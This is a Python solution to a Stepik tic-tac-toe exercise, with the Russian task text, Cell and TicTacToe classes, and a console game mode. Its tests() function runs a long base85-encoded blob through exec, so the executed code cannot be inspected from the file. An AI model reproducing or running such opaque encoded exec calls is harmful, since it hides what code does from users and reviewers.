382 lines
17 KiB
Python
382 lines
17 KiB
Python
"""
|
||
https://stepik.org/lesson/717070/step/1?unit=717930
|
||
|
||
Испытание магией.
|
||
|
||
Вы прошли магические методы.
|
||
Начальство оценило вашу стойкость, рвение и решило дать вам испытание для подтверждения уровня полученных навыков.
|
||
Вам выпала великая честь создать полноценную программу игры в "Крестики-нолики".
|
||
И вот перед вами текст с заданием самого испытания.
|
||
|
||
## Техническое задание
|
||
|
||
Необходимо объявить класс с именем TicTacToe (крестики-нолики) для управления игровым процессом. Объекты этого класса будут создаваться командой:
|
||
game = TicTacToe()
|
||
|
||
В каждом объекте этого класса должен быть публичный атрибут:
|
||
pole - двумерный кортеж, размером 3x3.
|
||
|
||
Каждый элемент кортежа pole является объектом класса Cell:
|
||
cell = Cell()
|
||
|
||
В объектах этого класса должно автоматически формироваться локальное свойство:
|
||
value - текущее значение в ячейке: 0 - клетка свободна; 1 - стоит крестик; 2 - стоит нолик.
|
||
|
||
Также с объектами класса Cell должна выполняться функция:
|
||
bool(cell) - возвращает True, если клетка свободна (value = 0) и False - в противном случае.
|
||
|
||
К каждой клетке игрового поля должен быть доступ через операторы:
|
||
res = game[i, j] # получение значения из клетки с индексами i, j
|
||
game[i, j] = value # запись нового значения в клетку с индексами i, j
|
||
|
||
Если индексы указаны неверно (не целые числа или числа, выходящие за диапазон [0; 2]), то следует генерировать исключение командой:
|
||
raise IndexError('некорректно указанные индексы')
|
||
|
||
Чтобы в программе не оперировать величинами: 0 - свободная клетка; 1 - крестики и 2 - нолики, в классе TicTacToe должны быть три публичных атрибута (атрибуты класса):
|
||
FREE_CELL = 0 # свободная клетка
|
||
HUMAN_X = 1 # крестик (игрок - человек)
|
||
COMPUTER_O = 2 # нолик (игрок - компьютер)
|
||
|
||
В самом классе TicTacToe должны быть объявлены следующие методы (как минимум):
|
||
init() - инициализация игры (очистка игрового поля, возможно, еще какие-либо действия);
|
||
show() - отображение текущего состояния игрового поля (как именно - на свое усмотрение);
|
||
human_go() - реализация хода игрока (запрашивает координаты свободной клетки и ставит туда крестик);
|
||
computer_go() - реализация хода компьютера (ставит случайным образом нолик в свободную клетку).
|
||
|
||
Также в классе TicTacToe должны быть следующие объекты-свойства (property):
|
||
is_human_win - возвращает True, если победил человек, иначе - False;
|
||
is_computer_win - возвращает True, если победил компьютер, иначе - False;
|
||
is_draw - возвращает True, если ничья, иначе - False.
|
||
|
||
Наконец, с объектами класса TicTacToe должна выполняться функция:
|
||
bool(game) - возвращает True, если игра не окончена (никто не победил и есть свободные клетки) и False - в противном случае.
|
||
|
||
Все эти функции и свойства предполагается использовать следующим образом (эти строчки в программе не писать):
|
||
game = TicTacToe()
|
||
game.init()
|
||
step_game = 0
|
||
while game:
|
||
game.show()
|
||
|
||
if step_game % 2 == 0:
|
||
game.human_go()
|
||
else:
|
||
game.computer_go()
|
||
|
||
step_game += 1
|
||
|
||
|
||
game.show()
|
||
|
||
if game.is_human_win:
|
||
print("Поздравляем! Вы победили!")
|
||
elif game.is_computer_win:
|
||
print("Все получится, со временем")
|
||
else:
|
||
print("Ничья.")
|
||
|
||
Вам в программе необходимо объявить только два класса: TicTacToe и Cell так, чтобы с их помощью можно было бы сыграть в "Крестики-нолики" между человеком и компьютером.
|
||
|
||
P.S. Запускать игру и выводить что-либо на экран не нужно. Только объявить классы.
|
||
P.S.S. Домашнее задание: завершите создание этой игры и выиграйте у компьютера хотя бы один раз.
|
||
|
||
"""
|
||
|
||
from enum import Enum
|
||
import random
|
||
|
||
|
||
class GameOverException(Exception):
|
||
...
|
||
|
||
|
||
class Cell:
|
||
CHARS = "⬜⭕❌"
|
||
|
||
class State(Enum):
|
||
FREE = 0
|
||
COMPUTER = 1
|
||
HUMAN = 2
|
||
|
||
@classmethod
|
||
def wrap(cls, v):
|
||
return v if isinstance(v, cls) else cls(v)
|
||
|
||
def __init__(self, value=State.FREE):
|
||
self.__state = self.State.wrap(value)
|
||
|
||
@property
|
||
def is_free(self):
|
||
return self.state is self.State.FREE
|
||
|
||
@property
|
||
def value(self):
|
||
return self.__state.value
|
||
|
||
@value.setter
|
||
def value(self, v):
|
||
self.__state = self.State.wrap(v)
|
||
|
||
@property
|
||
def state(self):
|
||
return self.__state
|
||
|
||
@state.setter
|
||
def state(self, v):
|
||
self.__state = self.State.wrap(v)
|
||
|
||
def __bool__(self):
|
||
return self.is_free
|
||
|
||
def __repr__(self):
|
||
return f"{self.__class__.__name__}({self.value!r})"
|
||
|
||
def __str__(self):
|
||
return self.CHARS[self.value]
|
||
|
||
|
||
class TicTacToe:
|
||
# для тестов
|
||
FREE_CELL = Cell.State.FREE.value
|
||
HUMAN_X = Cell.State.HUMAN.value
|
||
COMPUTER_O = Cell.State.COMPUTER.value
|
||
|
||
class State(Enum):
|
||
ACTIVE = 0
|
||
HUMAN_WIN = 1
|
||
COMPUTER_WIN = 2
|
||
DRAW = 3
|
||
|
||
def is_ended(self):
|
||
return self is not self.ACTIVE
|
||
|
||
def __init__(self, size=3, pole=None):
|
||
self.size = size
|
||
self.state = self.State.ACTIVE
|
||
if pole is None:
|
||
pole = tuple(
|
||
tuple(Cell() for _ in range(self.size)) for _ in range(self.size)
|
||
)
|
||
self.pole = pole
|
||
|
||
def init(self):
|
||
for row in self.pole:
|
||
for cell in row:
|
||
cell.value = Cell.State.FREE.value
|
||
self.state = self.State.ACTIVE
|
||
|
||
def __bool__(self):
|
||
return not self.state.is_ended()
|
||
|
||
def _find_line(self, value):
|
||
for row in self.pole:
|
||
if all(cell.value == value for cell in row):
|
||
return True
|
||
for col in zip(*self.pole):
|
||
if all(cell.value == value for cell in col):
|
||
return True
|
||
if all(self[i, i] == value for i in range(self.size)):
|
||
return True
|
||
if all(self[i, self.size + ~i] == value for i in range(self.size)):
|
||
return True
|
||
|
||
def _update_state(self):
|
||
if self._find_line(Cell.State.HUMAN.value):
|
||
self.state = self.State.HUMAN_WIN
|
||
elif self._find_line(Cell.State.COMPUTER.value):
|
||
self.state = self.State.COMPUTER_WIN
|
||
elif not any(cell.is_free for row in self.pole for cell in row):
|
||
self.state = self.State.DRAW
|
||
|
||
@property
|
||
def is_human_win(self):
|
||
return self.state is self.State.HUMAN_WIN
|
||
|
||
@property
|
||
def is_computer_win(self):
|
||
return self.state is self.State.COMPUTER_WIN
|
||
|
||
@property
|
||
def is_draw(self):
|
||
return self.state is self.State.DRAW
|
||
|
||
def _get_key(self, key):
|
||
if (
|
||
not isinstance(key, tuple)
|
||
or len(key) != 2
|
||
or any(not isinstance(x, int) or x < 0 or x >= len(self.pole) for x in key)
|
||
):
|
||
raise IndexError("неверный индекс клетки")
|
||
return key
|
||
|
||
def __getitem__(self, key):
|
||
row, col = self._get_key(key)
|
||
return self.pole[row][col].value
|
||
|
||
def __setitem__(self, key, value):
|
||
if not self:
|
||
raise GameOverException("игра закончена")
|
||
|
||
row, col = self._get_key(key)
|
||
cell = self.pole[row][col]
|
||
if not cell.is_free:
|
||
raise ValueError("клетка уже занята")
|
||
|
||
cell.value = value
|
||
self._update_state()
|
||
|
||
def human_go(self):
|
||
pending = True
|
||
prompt = f"Введите координаты клетки через пробел (0-{self.size - 1}, сначала строка)\nДля выхода введите Q\nВаш ход: "
|
||
while pending:
|
||
answer = input(prompt)
|
||
if answer.lower() == "q":
|
||
print("Вы сдались!")
|
||
self.state = self.State.COMPUTER_WIN
|
||
pending = False
|
||
continue
|
||
try:
|
||
row, col = map(int, answer.split())
|
||
except ValueError:
|
||
print("Неверный формат ввода")
|
||
continue
|
||
try:
|
||
self[row, col] = Cell.State.HUMAN
|
||
pending = False
|
||
except IndexError:
|
||
print("Неверные координаты клетки")
|
||
except ValueError:
|
||
print("Клетка уже занята")
|
||
except GameOverException:
|
||
print("Эй, что происходит?!")
|
||
pending = False
|
||
|
||
def computer_go(self):
|
||
free_cells = [
|
||
(i, j) for i in range(self.size) for j in range(self.size) if not self[i, j]
|
||
]
|
||
row, col = random.choice(free_cells)
|
||
print("Я выбрал клетку", row, col, end="!\n")
|
||
self[row, col] = Cell.State.COMPUTER
|
||
|
||
def show(self):
|
||
print(self)
|
||
|
||
def play(self):
|
||
human_turn = True
|
||
turns = self.computer_go, self.human_go
|
||
while self:
|
||
if human_turn:
|
||
self.show()
|
||
turns[human_turn]()
|
||
human_turn = not human_turn
|
||
|
||
print("Игра окончена!")
|
||
self.show()
|
||
|
||
if self.is_human_win:
|
||
print("Вы выиграли!")
|
||
elif self.is_computer_win:
|
||
print("Ура! Я выиграл!")
|
||
elif self.is_draw:
|
||
print("Ничья!")
|
||
else:
|
||
print("Что-то пошло не так...")
|
||
|
||
def __len__(self):
|
||
return self.size
|
||
|
||
def __str__(self):
|
||
c = self.size - 1
|
||
result = (
|
||
f"╭─{'─┬─' * c}─╮\n"
|
||
+ f"├─{'─┼─' * c}─┤\n".join(
|
||
map(lambda row: f"│{'│'.join(map(str, row))}│\n", self.pole)
|
||
)
|
||
+ f"╰─{'─┴─' * c}─╯"
|
||
)
|
||
return result
|
||
|
||
def __repr__(self):
|
||
args = []
|
||
if self.size != 3:
|
||
args.append(f"size={self.size!r}")
|
||
if sum(self[i, j] for i in range(self.size) for j in range(self.size)):
|
||
args.append(f"pole={self.pole!r}")
|
||
args = ", ".join(args)
|
||
return f"{self.__class__.__name__}({args})"
|
||
|
||
|
||
import sys
|
||
|
||
argc = len(sys.argv)
|
||
if argc > 1 and sys.argv[1] == "play":
|
||
game = TicTacToe(argc > 2 and int(sys.argv[2]) or 3)
|
||
game.play()
|
||
exit()
|
||
|
||
|
||
def tests():
|
||
code = (
|
||
b"V`Xe?AUz;MWo&FHDGFh8b7gXLAY)~0Y%X?TY;|QIJv|^WEFdD#z0k1HhtROlyU~o$z0khUwII;"
|
||
+ b"9(7n*G(TC8r(7n*O(6u1Yu+f6ifY7+mvC)Ikg3z!ac42IFWgyVL(6P~q(6!LI(Sp#hAkezdyU?)F"
|
||
+ b"fzg4`upmQaY-}LVw9vlLyU@1Kz0kfO(6P~r(Sp&8Akl!(u+Xy5z0kfOFd_<Jb8}^KbRc4HZ)_-IW"
|
||
+ b"o&FIEFdD$gwcc0z0kVRhS0dtk04@iZ)_mYw9vcJk08*#(6P~q(6!LI(Sp#hAkezdyU?)Ffzg4`up"
|
||
+ b"mQaY-}LVve32BfY80sgV4LsuprRA(6!LA(6!Nk(7n*U(6u1Yx6r-Nu+fLmwa~rLxX`sC3S(t#Y%X"
|
||
+ b"?TY;|QIJs>d(VRLh3a&#bKZ*OcUV`Xe?DIh&PAVy(qb7d?bBGH7=gV4Ruy3vNvxY3UwVsCG3Akeh"
|
||
+ b"XyU~vz(7w>I(TdQu(7Mrr(6AuTy3o7Ou+f3hfzYrZLuG7iAkebVwb6jkz0rfvyU?&8(7n*L(6Z3A"
|
||
+ b"(SXps(7w>MAkeqaz0k1HhtRdqz0kPOwIT`%VRLh3a&#bQVRK=0baE(EX=7AjV^nWtEFdRyXm58XD"
|
||
+ b"Ij5PWFTl^b76FJawt@3V^m>dRBvT0ASY;bZDDR-XKyDdAYpD~AZTH8VRUqIC{$@<RAFOOZ)GeXCu"
|
||
+ b"47IaCLNLa$jd}Cn+o-BG9_fyU?)Ffzg2=RB2;WVPjNpWgyVB(7w>S(6-RE(7hngxX`@Nwb6pnj3C"
|
||
+ b"gw(6!Nm(7w>L(TgB+Xm58cAZT@MVQyb%Z!92VZ*6dObY*g1XKx}33TI($WgtBuRB2;WVPjNpWhf~"
|
||
+ b"MVRLh3a&#bKZ*OcUXJKt+DJ&o&(S*^1(7n*Q(T32t(T^ZvZ*OcM(6Z3A(SXps(Sy*t(6AuTz0kGL"
|
||
+ b"ve32BfY80rzR<NG(6`XN(6G^m(6!LL(74f$AkehXyU~vz(7w>I(TdQu(7Mrr(6AuTy3o7Ou+f3hf"
|
||
+ b"zYrZRB2;WVPjNpWg-e;b8}^KbRcJ8ZDm_9EFdslAU!=GFd$)WWFTi@ZDm_BEFdynAU!=GFf1S<(7"
|
||
+ b"n*L(6Z3A(SXps(TmWvAkeqaz0k1HhtRdqz0kPPk08;H(TC8r(6!LIEFjRb(6`Z#(Sp&7(6u1YztF"
|
||
+ b"xQ(74dO(6rFC(7Mrq(6G?FA_`|=ZDm_AEFdvmAUz;dX=7AjV^nWtE=W~PK~7&-3So0|WpZ>NXJKt"
|
||
+ b"+TQMvkF<l@%Js?zRV^m>dRBvT2NL5WiPG49oAR^Gc(6!LA(6!Nk(7n*UAkl!(u+Xv4zR`lvu+X*9"
|
||
+ b"f*{bo(7({N(SXpf(Sp#v(SRV(ztMouxY2>ove2;5xX`lDu+Y8GxY3Uw(7n*U(6Z3J(6i9KAkeqaz"
|
||
+ b"0k1HhtRdqz0kPPk08*pAkmM}htRdqxzM`NgCNkj(6iBi(7w>J(7w>K(7qthztFzWyU~v#3JPaoZD"
|
||
+ b"m_9EFdslAUz;dX=7AjV^nWtE<;aEP*qe#QeRIBVRLh3a&#bPVQpnwFf1T2T_8O@AXI5%RAFOOZ)G"
|
||
+ b"k+Pfbu&R7Fx>Pb?rJ(7n*L(6Z3A(SXps(7qtifY7kevCzKJg3z$gwb6ng(7w>W(6!Nk(6G^h(7w@"
|
||
+ b"tAke?jfY7+nfzYzhu+X^Bve2;5z0kPPk08*!(7w>J(7w>K(7qthx6r-Nu+fLmwa~rLxY3Uw(6S)W"
|
||
+ b"kI{$Fwa~fHy3vCm(74dE(SXpt(6Z3J(6i9KAke?izR<hTk0J^RXJKt+E@^IQbSNnbVRLh3a&#bPV"
|
||
+ b"QpnwFf1T2T_8O@AXI5%RAFOOZ)Gk<Qbk2yLq$wXAYpD~AZKB1Wm_>UATeDaJv|^)X=7AjV^nWtE="
|
||
+ b"E#CMPEZjOiU~wBGA9lfY7)g(74dO(74ft(74dB(7VvM(6`XA(T32t(6}JbxX`oFfY83sve3TJv(U"
|
||
+ b"aE(7({W(7Vx(AkebWfzY)e(7MpO(6!Nm(7MpLAkehXzR<hSw$Q!Niy+Xy(SXpn(7n*O(7e#F(Sp&"
|
||
+ b"8Akeqaz0k1HhtRdqz0kPOwII;A(6=Dau+f6ifY7+mvC)Ikg3z!aMp8vZUqeMqOd<*jbaHt*3LqdL"
|
||
+ b"AZKB1Wm_{WATV7ZJs>m+Wq4y{aC9I^Ze(S6MRIa)aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLA"
|
||
+ b"YpTJWpZ>NMqzAoWh@{f(7n*LAkl%)v(UBBz0kGMfY7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T"
|
||
+ b">rF(6!LL(74dGAW3dyWq3t$a&K}X3JPaoZDlTLZfSHVDGFh8b7gXLAZKB1WiDxRUubo0VQyb{X>K"
|
||
+ b"4rJs?J5Y;$EGVQyp~XJKt+E@^XLV{dJ6b#!HNUw3J4AU!=GMqzAoWgua0WFTi@ZDlTLb6;d~VRs-"
|
||
+ b"sJs?J5Y;$ESAR^Ge(SXpnAketbz0kPPhS0dsu+Y2ExX`!Iu+fIlxX`#D(74dE(SXs5AkeVUg3*A`"
|
||
+ b"xX`iDgVBP~iy&!pUubo0VQyb{X>KeaX>(s=Z*6dObY*g1cWG`cAZc@7WO8A5AkehXzR<hSw$Q!Ni"
|
||
+ b"y+Xk(TmZ7(TpI`fY7keve3QJiy%f}Y;$ESAkebVzR<VOywJYTw$Q!Mz97)O(6u1YztFYOfY7zkfz"
|
||
+ b"gN1xY2^qi_o&ru+X*9g3*D|k08;3(Sp#h(Sp%~(Sab)xX`oFfYFN}(7(}u(6}JbveApsx6r=Ove3"
|
||
+ b"04(7e#K(Sp#v(6rF7AZc!CbSNnz3JPaoZDm_9EFdslAUz;dX=7AjV^nWtE=W~PK~7&-3TI($Wm_>"
|
||
+ b"UATeDaJs?zRV^m>dRBvT2NL5WiPG49GXJKt+TQV#lGF>1&AXI5%RAFOOZ)Gk>RZT%oUswuZb8}^K"
|
||
+ b"bRcJ8ZDlTLb6;q6ZDDR-cWG`QVQyp~XJKt+E@^XLV{dJ6b#!HNUw3J4AU!=GMqzAoWgua0WFTi@Z"
|
||
+ b"DlTLb6;d~VRs-sJs?J5Y;$ESAR^Gc(6!LI(7w@t(SXpk(7Mrr(7n*UAke?iwb6jkwb6mmhtRmug3"
|
||
+ b"*i6ve2;6j?seAfzgj3(6G^h(SXpn(6P~j(Sp&7AZc@7XmxF2ZeMq4ZY&^ab6;a`ZE$sTWpZD4X>K"
|
||
+ b"eaX>(s>a$$EaAkdP~zR<VOywJYTw$Q!Mz97)O(6u1YztFYOfY7zkfzgN1xY2^qi_o&ru+X*9g3*D"
|
||
+ b"|k08;3(Sp#h(Sp%~(Sab)xX`oFfYFN}(6S)VywJYTywJ7Kz0rao(7(}u(74fo(6Z3J(6!LL(74f$"
|
||
+ b"Ake+gzR<GKi_wK3(6`XN(6G^m(6!LL(74f$Ake?iz97)J(7n*K(6!LI(Sgvg(7ZYzXJKt+TWKsHY"
|
||
+ b"F!{bAa-GFb!8$73TI($WiDxMX>=$l3TI($Wm_;TATV7ZJs?zRV^m>dRBvT2Lr+amRa8Y%Ur!2WVQ"
|
||
+ b"pnwF)Sc3T_8OmRB2;WVPjNpWiCTcO;A--MN(f+3TI($Wm_^VATV7ZJs?zRV^m>dRBvT2Lr+amRa8"
|
||
+ b"Y%Ur!2Qb8}^KbRcJ8ZDlTLb6;q6ZDDR-cWG`QJv|^sVQh0{AYpD~AZKB1WiDxRUt@1=aCLNLa$k3"
|
||
+ b"8ZXjW9WFTi@ZDlTLb6;d~VRs-sJs?J5Y;$ESAR^Gc(6!LI(7w@t(SXpk(7Mrr(7n*UAke?iwb6jk"
|
||
+ b"wb6mmhtRmug3*i6ve2;6j?seAfzgj3(6G^h(SXpn(6P~j(Sp&7AZc@7XmxF2ZeMq4ZY&^ab6;a`Z"
|
||
+ b"E$sTWpZD4X>KeaX>(s>a$$EaAkdP~zR<VOywJYTw$Q!Mz97)O(6u1YztFYOfY7zkfzgN1xY2^qi_"
|
||
+ b"o&ru+X*9g3*D|k08;3(Sp#h(Sp%~(Sab)xX`oFfYFN}(6S)VywJYTywJ7Kz0rao(7(}u(74fo(6Z"
|
||
+ b"3J(6!LL(74f$Ake+gzR<GKi_wK3(6`XN(6G^m(6!LL(74f$Ake?iz97)J(7n*K(6!LI(Sgvg(7ZY"
|
||
+ b"zXJKt+TWKsHYF!{bAa-GFb!8#"
|
||
)
|
||
exec(__import__("base64").b85decode(code))
|
||
|
||
|
||
if __name__ == "__main__":
|
||
import doctest
|
||
|
||
doctest.testmod()
|
||
tests()
|